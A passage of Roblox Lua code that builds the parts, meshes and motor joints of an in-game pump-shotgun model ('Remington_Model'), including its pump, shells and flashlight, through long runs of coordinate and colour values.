		Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3580017, 238.263, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
		mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.375934601, -0.323623657, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.677777767),CFrame = CFrame.new(198.994003, 34.3419952, 238.431992, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.5, 0.055555556, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.36145401, -0.492752075, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.958984, 33.9389992, 239.599991, 0.000125974344, 0.866035521, 0.499981582, 3.19443643e-007, -0.499980778, 0.866034091, 0.999997437, -0.000108907465, -6.33150339e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(0.869565248, 0.652173877, 0.869565248),})
		mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.000125974417, 3.50177373e-007, 1.00000024, 0.866036117, -0.499981821, -0.00010892329, 0.49998194, 0.866035938, -6.32881856e-005),C1 = CFrame.new(0.0350189209, -0.0309906006, -1.66433716, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.3999977, 237.546005, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.841666579, 0.222222224),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.588497162, 0.38470459, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.4300003, 237.67598, -0.999998808, 8.50773318e-008, 5.24463921e-008, 7.03478094e-008, 0.226423576, 0.974026561, 7.09925985e-008, 0.974025726, -0.22642301),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999523, 7.03479088e-008, 7.0992769e-008, 8.50774313e-008, 0.226424068, 0.974028468, 5.24464632e-008, 0.974028587, -0.226423606),C1 = CFrame.new(0.00399780273, -0.557323456, 0.255004883, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.3730011, 237.427002, 0.999999285, -2.3240267e-007, -1.03372377e-008, -4.25525997e-008, -0.226422742, 0.97402668, -2.28707009e-007, -0.974025965, -0.226422653),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.25527027e-008, -2.2870762e-007, -2.3240284e-007, -0.226423249, -0.974028707, -1.03372235e-008, 0.974028707, -0.226423249),C1 = CFrame.new(0.00399780273, -0.616565704, 0.503463745, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.344444454, 0.200000003),CFrame = CFrame.new(198.990005, 33.4449997, 237.546005, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.222222224),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.543498993, 0.385116577, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.5779991, 237.718002, -0.999999285, 3.70348204e-007, 7.74750504e-008, 1.91572855e-008, -0.154940739, 0.987921298, 3.77878905e-007, 0.987920582, 0.15494056),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.222222224),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 1.91573086e-008, 3.77879957e-007, 3.70348459e-007, -0.154941022, 0.987923324, 7.74751001e-008, 0.987923324, 0.154941022),C1 = CFrame.new(0.00399780273, -0.408950806, 0.214324951, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell2 = New("Part",Remington_Model,"Shell2",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.0559998, 238.322998, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
		Mesh = New("CylinderMesh",Shell2,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
		mot = New("Motor",Shell2,"mot",{Part0 = Shell2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.0744857788, -0.38633728, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1919975, 238.634995, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213294983, -0.697097778, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.677777767),CFrame = CFrame.new(198.994003, 34.3259964, 238.430984, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.111111112, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.34544754, -0.491882324, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.2609978, 238.347, 0.999999285, -4.35450715e-008, 3.80975962e-009, -4.3577586e-008, -0.999956846, 0.00901973248, 3.41675488e-009, -0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0.0279998779, 0.279693604, -0.408493042, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.344444454, 0.200000003),CFrame = CFrame.new(198.990005, 33.901001, 237.692001, -0.999999046, 3.8339823e-007, -5.40486624e-008, 3.41655948e-008, 0.226423576, 0.974026561, 3.85678248e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.666666687),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 3.41656872e-008, 3.85679272e-007, 3.83398543e-007, 0.226424068, 0.974028468, -5.40486909e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.0861968994, 0.243240356, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3849983, 238.177002, 0.999999285, -4.6309421e-007, 3.99015931e-008, 4.63434333e-007, 0.999956846, -0.00901973248, -3.57230014e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.333333343, 0.166666672, 0.166666672),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 4.63435327e-007, -3.57230583e-008, -4.63094551e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.40215683, -0.237380981, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.887001, 238.048981, 1.90734704e-006, -2.35438142e-006, 0.999999404, -0.852791429, -0.522247314, 3.15822035e-007, 0.522246897, -0.852790892, -2.83477038e-006),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.388888896, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.90734852e-006, -0.852793217, 0.522248328, -2.35438301e-006, -0.522248447, -0.852793336, 1.00000012, 3.15822632e-007, -2.83477834e-006),C1 = CFrame.new(0, -0.0969772339, -0.113861084, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell3 = New("Part",Remington_Model,"Shell3",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.2879982, 238.480988, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
		Mesh = New("CylinderMesh",Shell3,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
		mot = New("Motor",Shell3,"mot",{Part0 = Shell3,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.30790329, -0.542236328, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9239998, 238.076981, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.277777761, 0.111111112),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, -0.0597267151, -0.141525269, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight2 = New("Part",Remington_Model,"Flashlight L",{BrickColor = BrickColor.new("Light blue"),Reflectance = 0.30000001192093,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8879967, 241.268997, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.705882, 0.823529, 0.894118),})
		Mesh = New("CylinderMesh",Flashlight2,"Mesh",{Scale = Vector3.new(0.777777791, 0.055555556, 0.777777791),})
		mot = New("Motor",Flashlight2,"mot",{Part0 = Flashlight2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0669364929, -3.33374023, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.388888896, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -1.71927041e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50923526e-007, 0.00644565001, -0.999976158, -1.72903071e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -1.71927184e-007, -0.00644563884, -0.99997896, 1, 1.50923825e-007, -1.72903526e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8850021, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.666666687, 0.722222269, 0.666666687),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0734596252, -2.94277954, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2819977, 240.974991, 0.999999285, -3.76375993e-007, 3.99015931e-008, 3.76719981e-007, 0.999956846, -0.00901973248, -3.65051775e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.222222224, 0.611111104),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 3.76720777e-007, -3.6505245e-008, -3.76376278e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.324398041, -3.03619385, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1959953, 238.169006, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213088989, -0.23109436, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell1 = New("Part",Remington_Model,"Shell1",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1070023, 238.167999, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
		Mesh = New("CylinderMesh",Shell1,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
		mot = New("Motor",Shell1,"mot",{Part0 = Shell1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.124088287, -0.230880737, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell1 = New("Part",Remington_Model,"Shell1",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.269001, 238.169983, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
		Mesh = New("CylinderMesh",Shell1,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
		mot = New("Motor",Shell1,"mot",{Part0 = Shell1,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.28609848, -0.231414795, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8829956, 240.648987, 1.52035099e-007, -1.71927041e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50923526e-007, 0.00644565001, -0.999976158, -1.72903071e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.777777791, 0.333333343, 0.777777791),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -1.71927184e-007, -0.00644563884, -0.99997896, 1, 1.50923825e-007, -1.72903526e-007),C1 = CFrame.new(0.00100708008, -0.0775299072, -2.71380615, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9290009, 238.115982, 0.999999285, -4.35450715e-008, 3.80975962e-009, -4.3577586e-008, -0.999956846, 0.00901973248, 3.41675488e-009, -0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.222222224, 0.277777761),MeshType = Enum.MeshType.Wedge,})
